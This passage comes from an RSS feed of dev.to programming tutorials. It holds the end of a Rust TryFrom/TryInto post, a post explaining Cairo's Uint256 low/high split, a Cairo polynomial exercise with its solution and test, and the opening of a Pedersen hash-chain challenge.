    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;brand_1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Result&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="k"&gt;'static&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;car_1&lt;/span&gt;&lt;span class="nf"&gt;.try_into&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="nd"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"brand_1: {:?}"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;brand_1&lt;/span&gt;&lt;span class="nf"&gt;.unwrap&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt; &lt;span class="c1"&gt;// "FORD"&lt;/span&gt;

    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;car_3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;Car&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;try_from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nn"&gt;String&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"KIA"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="nf"&gt;.unwrap&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;brand_2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Result&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="k"&gt;'static&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;car_3&lt;/span&gt;&lt;span class="nf"&gt;.try_into&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="nd"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"brand_2: {:?}"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;brand_2&lt;/span&gt;&lt;span class="nf"&gt;.unwrap_err&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt; &lt;span class="c1"&gt;// "Not allowed!"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;By now, you should feel confident in your ability to leverage these traits effectively, streamlining your code and improving its readability. Happy coding!&lt;/p&gt;

</description>
      <category>rust</category>
    </item>
    <item>
      <title>Cairo: Uint256</title>
      <dc:creator>Peter Blockman</dc:creator>
      <pubDate>Thu, 10 Nov 2022 09:21:19 +0000</pubDate>
      <link>https://dev.to/peterblockman/cairo-uint256-ojf</link>
      <guid>https://dev.to/peterblockman/cairo-uint256-ojf</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;If you are confused about what value should be passed into the low and high of Uint256 in Cairo? you are not alone. I was confused the first time I saw it too. After digging into the code and asking around, I finally figured it out. &lt;/p&gt;

&lt;h2&gt;
  
  
  What is Cairo's Uint256?
&lt;/h2&gt;

&lt;p&gt;Everything in Cairo is represented by &lt;code&gt;felt&lt;/code&gt;. &lt;code&gt;felt&lt;/code&gt; stands for Field Element, the only data type in Cairo. it is 251 bits unsigned integer.&lt;/p&gt;

&lt;p&gt;Because a uint256 number has 256 bits in size, it can not be represented by a 251-bit felt. Therefore, it is necessary to split the uint256 number into two components: low and high. The low component represents the low 128 bits of the uint256 number, and the high component is the high 128 bits of the uint256 number. The binary value of low and high are padded with leading 0s up to the maximum resolution and put together side by side to form the uint256 number. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Uji4bJWw--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/rw96tc0vtidpjd5de32j.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Uji4bJWw--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/rw96tc0vtidpjd5de32j.png" alt="uint256.png" width="880" height="326"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Uint256 is defined as a struct:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;Uint256&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;low&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;felt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;

    &lt;span class="n"&gt;high&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;felt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Examples
&lt;/h2&gt;

&lt;p&gt;For a better understanding, I have deployed a &lt;a href="https://goerli.voyager.online/contract/0x02664afdb539af115a1b88b011e3607197c00963cb6e9b02fab5ad2e41d45563#readContract"&gt;simple Cairo smart contract&lt;/a&gt; on testnet. The contract has only one view function &lt;code&gt;get_uint256&lt;/code&gt; that returns a Uint256 number in decimal from its low and high value.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;view&lt;/span&gt;
&lt;span class="n"&gt;func&lt;/span&gt; &lt;span class="n"&gt;get_uint256&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;syscall_ptr&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;felt&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pedersen_ptr&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;HashBuiltin&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;range_check_ptr&lt;/span&gt;&lt;span class="p"&gt;}(&lt;/span&gt;
    &lt;span class="n"&gt;low&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;felt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;high&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;felt&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;num&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Uint256&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;num&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Uint256&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;Uint256&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;low&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;high&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;num&lt;/span&gt;&lt;span class="p"&gt;,);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's say we want to have number 4 as an Uint256. To do so, we pass 4 to low and 0 to high:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;num&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Uint256&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;Uint256&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;low&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;high&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;4 is &lt;code&gt;100&lt;/code&gt; and 0 is &lt;code&gt;0&lt;/code&gt; in binary. We add padding zeros to them and stack them side by side, like so:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--cGXutj4J--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/j3a351njvpag3p9cswwp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--cGXutj4J--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/j3a351njvpag3p9cswwp.png" alt="uint256-4-0.png" width="880" height="685"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's check it on our smart contract:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--rnr_G5rt--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/g4zalino7ay6lnh08ru6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--rnr_G5rt--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/g4zalino7ay6lnh08ru6.png" alt="4-0.png" width="880" height="886"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;What about &lt;code&gt;Uint256(low = 0, high = 4)&lt;/code&gt;?&lt;br&gt;
In the same token, we pad them with leading 0s to the maximum resolution and put them together:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--4g-iLjc7--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9cc7qevuj69jqetk2par.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--4g-iLjc7--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9cc7qevuj69jqetk2par.png" alt="cairo04" width="880" height="697"&gt;&lt;/a&gt;&lt;br&gt;
That is &lt;code&gt;1361129467683753853853498429727072845824&lt;/code&gt; in decimal. 👀&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--swg_0Agn--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/7zl3hce2h4i4ppdi6c4z.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--swg_0Agn--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/7zl3hce2h4i4ppdi6c4z.png" alt="0-4" width="880" height="858"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;That's it for today. Thank you for reading this post, hopefully, it was useful. Let's keep on learning Cairo!&lt;/p&gt;

&lt;p&gt;If you have any questions feel free to reach out to me on &lt;a href="https://twitter.com/peterblockman"&gt;Twitter&lt;/a&gt;. &lt;/p&gt;

</description>
      <category>cairolang</category>
      <category>web3</category>
      <category>starknet</category>
    </item>
    <item>
      <title>Cairo exercise: Polynomial Equation</title>
      <dc:creator>Peter Blockman</dc:creator>
      <pubDate>Tue, 08 Nov 2022 09:04:19 +0000</pubDate>
      <link>https://dev.to/peterblockman/cairo-exercise-polynomial-equation-43g2</link>
      <guid>https://dev.to/peterblockman/cairo-exercise-polynomial-equation-43g2</guid>
      <description>&lt;h2&gt;
  
  
  Problem
&lt;/h2&gt;

&lt;p&gt;Write a program poly.cairo that computes the expression:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;x^3 + 23x^2+ 45x + 67 = 0, x = 100&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;After the program ends, the value should be at [ap - 1].&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;For this exercise, you may assume that the fp register is constant and initialized to the same value as ap.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://www.cairo-lang.org/docs/how_cairo_works/cairo_intro.html#exercise-a-simple-cairo-program"&gt;Link&lt;/a&gt; to the problem in Cairo documentation&lt;/p&gt;

&lt;h2&gt;
  
  
  Solution
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="n"&gt;lang&lt;/span&gt; &lt;span class="n"&gt;starknet&lt;/span&gt;

&lt;span class="n"&gt;func&lt;/span&gt; &lt;span class="nf"&gt;compute_poly&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;felt&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ap&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ap&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ap&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ap&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ap&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ap&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ap&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ap&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;ap&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ap&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ap&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;45&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ap&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ap&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ap&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ap&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;ap&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ap&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ap&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;67&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ap&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Explain the solution
&lt;/h2&gt;

&lt;p&gt;Cairo receives instructions and operates on memory cells that are immutable and can hold one value. Therefore, first, we need to factor our equation to make instructions for each memory cell.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;x(x(x + 23) + 45) + 67 = 0, x = 100&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;x&lt;/strong&gt;: &lt;code&gt;[ap] = 100, ap++;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Here we tell Cairo to put 100 to the memory cell at address &lt;code&gt;ap&lt;/code&gt;, then we move to the next memory cell by &lt;code&gt;ap++&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Note: &lt;code&gt;ap&lt;/code&gt; is the allocation pointer pointing to the available memory cells. Read more about it &lt;a href="https://www.cairo-lang.org/docs/how_cairo_works/cairo_intro.html#registers"&gt;here&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;x + 23&lt;/strong&gt;: &lt;code&gt;[ap] = [ap - 1] + 23,  ap++&lt;/code&gt; &lt;/p&gt;

&lt;p&gt;Now we are at the second memory cell. To refer to the value of x which is in the first cell, we use &lt;code&gt;[ap - 1]&lt;/code&gt;. We also move the pointer to the next cell by &lt;code&gt;ap++&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;x(x+23)&lt;/strong&gt;: &lt;code&gt;[ap] = [ap - 2]  * [ap - 1] ,  ap++&lt;/code&gt; &lt;/p&gt;

&lt;p&gt;At this step, we get the product of x which is 2 memory cells before the pointer and the previous memory cell's value x + 3. Then we call &lt;code&gt;ap++&lt;/code&gt; again to move to the next cell.&lt;/p&gt;

&lt;p&gt;We continue to do the same for the rest of our equation:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;x(x + 23) + 45&lt;/strong&gt;: &lt;code&gt;[ap] = [ap - 1] + 45, ap++;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;x(x(x + 23) + 45)&lt;/strong&gt;:   &lt;code&gt;[ap] = [ap - 1] * [ap - 4], ap++ ;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;x(x(x + 23) + 45) + 67&lt;/strong&gt;:  &lt;code&gt;[ap] = [ap - 1] + 67, ap++;&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Test
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;test_poly.cairo&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="n"&gt;lang&lt;/span&gt; &lt;span class="n"&gt;starknet&lt;/span&gt;

&lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="py"&gt;.poly&lt;/span&gt; &lt;span class="n"&gt;import&lt;/span&gt; &lt;span class="n"&gt;compute_poly&lt;/span&gt;

&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;external&lt;/span&gt;
&lt;span class="n"&gt;func&lt;/span&gt; &lt;span class="nf"&gt;test_compute_poly&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;compute_poly&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="n"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1234567&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Run &lt;code&gt;protostar test tests/test_poly.cairo&lt;/code&gt; to test the function.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;In this article, I've shown how to instruct Cairo to compute a polynomial equation. The more I understand Cairo, the more fascinating it becomes to me. Keep on learning!&lt;/p&gt;

&lt;p&gt;If you have any questions, feel free to DM me on Twitter. I would love to talk.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/peterblockman/cairo-exercise/blob/main/src/poly.cairo"&gt;Github repo&lt;/a&gt;&lt;/p&gt;

</description>
      <category>cairolang</category>
      <category>starknet</category>
      <category>web3</category>
      <category>polynomialequation</category>
    </item>
    <item>
      <title>Cairo: compute Pedersen hash of an array of felts challenge</title>
      <dc:creator>Peter Blockman</dc:creator>
      <pubDate>Tue, 08 Nov 2022 06:40:12 +0000</pubDate>
      <link>https://dev.to/peterblockman/cairo-compute-pedersen-hash-of-an-array-of-felts-challenge-jf5</link>
      <guid>https://dev.to/peterblockman/cairo-compute-pedersen-hash-of-an-array-of-felts-challenge-jf5</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;Cairo provides a built-in hash2 function to calculate the Pedersen hash of two felts. In this challenge, we will recursively compute the hash of an array of felts. &lt;/p&gt;

&lt;h2&gt;
  
  
  The challenge
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;ex_hash_chain.cairo&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Task:&lt;/span&gt;
&lt;span class="c1"&gt;// Develop a function that is going to calculate Pedersen hash of an array of felts.&lt;/span&gt;
&lt;span class="c1"&gt;// Cairo's built in hash2 can calculate Pedersen hash on two field elements.&lt;/span&gt;
&lt;span class="c1"&gt;// To calculate hash of an array use hash chain algorithm where hash of [1, 2, 3, 4] is H(H(H(1, 2), 3), 4).&lt;/span&gt;
&lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;starkware&lt;/span&gt;&lt;span class="py"&gt;.cairo.common.cairo_builtins&lt;/span&gt; &lt;span class="n"&gt;import&lt;/span&gt; &lt;span class="n"&gt;HashBuiltin&lt;/span&gt;
&lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;starkware&lt;/span&gt;&lt;span class="py"&gt;.cairo.common.hash&lt;/span&gt; &lt;span class="n"&gt;import&lt;/span&gt; &lt;span class="n"&gt;hash2&lt;/span&gt;
&lt;span class="c1"&gt;// Computes the Pedersen hash chain on an array of size `arr_len` starting from `arr_ptr`.&lt;/span&gt;
&lt;span class="n"&gt;func&lt;/span&gt; &lt;span class="n"&gt;hash_chain&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;hash_ptr&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;HashBuiltin&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;}(&lt;/span&gt;&lt;span class="n"&gt;arr_ptr&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;felt&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;arr_len&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;felt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;felt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;test_ex_hash_chain.cairo&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="n"&gt;lang&lt;/span&gt; &lt;span class="n"&gt;starknet&lt;/span&gt;

&lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;starkware&lt;/span&gt;&lt;span class="py"&gt;.cairo.common.alloc&lt;/span&gt; &lt;span class="n"&gt;import&lt;/span&gt; &lt;span class="n"&gt;alloc&lt;/span&gt;
&lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;starkware&lt;/span&gt;&lt;span class="py"&gt;.cairo.common.cairo_builtins&lt;/span&gt; &lt;span class="n"&gt;import&lt;/span&gt; &lt;span class="n"&gt;HashBuiltin&lt;/span&gt;

&lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;exercises&lt;/span&gt;&lt;span class="py"&gt;.programs.ex_hash_chain&lt;/span&gt; &lt;span class="n"&gt;import&lt;/span&gt; &lt;span class="n"&gt;hash_chain&lt;/span&gt;

